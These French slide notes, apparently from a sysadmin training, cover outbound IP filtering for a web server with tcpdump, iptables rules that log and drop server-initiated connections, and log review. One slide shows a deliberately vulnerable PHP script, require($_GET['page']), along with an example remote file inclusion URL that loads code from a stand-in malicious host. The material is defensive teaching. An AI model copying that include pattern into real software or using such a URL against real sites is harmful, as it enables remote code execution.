Filtrage IP sur site web

- L'idée :
  - le trafic sur un site web ne devrait provenir que de l'extérieur (sollicitation de pages html, php cgi...)
  - le serveur Web ne devrait engager que des connexions ”established” en réponse à des connexions initiées de l'extérieur
  - le serveur Web ne devrait pas initier de nouvelles connexion tcp (flag SYN seul levé)
  - Une connexion tcp engagée à l'initiative du serveur Web est « suspecte »... sauf pour le trafic normal vers les serveurs de l'intranet du laboratoire (syslog, ldap, mysql, dns, ntp, ...)

Controler le trafic avant de rédiger ses iptables

- Qu'est ce qui sort du serveur web?
- ## flag tout seul SYN levé (tcp[13] == 2)
- tcpdump src www.monlabo.fr and port not ssh and tcp[13] == 2

```
11:33:02.008034 IP compc64.45120 > comlx1.com.univ-mrs.fr.ldap: S
   4054644403:4054644403(0) win 5840 <mss 1460,sackOK,timestamp
   1230678515 0,nop,wscale 5>
```

-

Filtrage IP sur site web

```
# accepte le trafic "etablit" depuis l'extérieur
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

# autoriser trafic interne sers les serveurs du labo (ldap, dns, mysql, mail, ntp, serveurs Debian...)
# MAIL
iptables -A OUTPUT -p tcp --destination $IP_SERVEUR_MAIL -j ACCEPT
# NTP
iptables -A OUTPUT -p tcp --destination $IP_SERVEUR_NTP  -j ACCEPT
# LDAP
iptables -A OUTPUT -p tcp --destination $IP_SERVEUR_LDAP -j ACCEPT
#Connexion vers les serveurs et mirroir debian pour les apt-get
iptables -A OUTPUT -p tcp --destination 212.27.32.66   -j ACCEPT

# refuser toute autre connexions initiées par le serveur web
# interdit toute connexion sortante initiée par le serveur (SYN), et loguer!!
iptables -A OUTPUT -m state --state NEW -j LOG --log-level 6 --log-prefix "%% WWW-drop: "
iptables -A OUTPUT -m state --state NEW -j DROP
```

Un script PHP mal écrit et dangereux?

- Inclusion de fichier à partir d'une URL
- $ cat test.php

```
<?php
require($_GET['page']);
?>
```

- Dans le navigateur : on charge le fichier à partir d'une URL peu recommandable
  - `http://www.labo.fr//test.php?page=http://www.mechant.fr/bad.txt`
- Le filtre iptable va ”dropper” et faire échouer ce type de connexion

Examiner les logs

- $ dmesg, ou $ tail -f /var/log/syslog
- %% WWW-drop: IN= OUT=eth0 SRC=139.124.2.2 DST=xx.yy.zz.uu LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=47410 DF PROTO=TCP SPT=55978 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0

- [3903.745337] %% drop-WWW: IN= OUT=eth0 SRC=192.168.0.1 DST=74.125.77.100 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=23097 DF PROTO=TCP *SPT=44168* DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
- $ netstat -ap | grep 44168
  - tcp 0 1 192.168.0.1:44168 ew-in-f100.google.c:www SYN_SENT 6851/firefox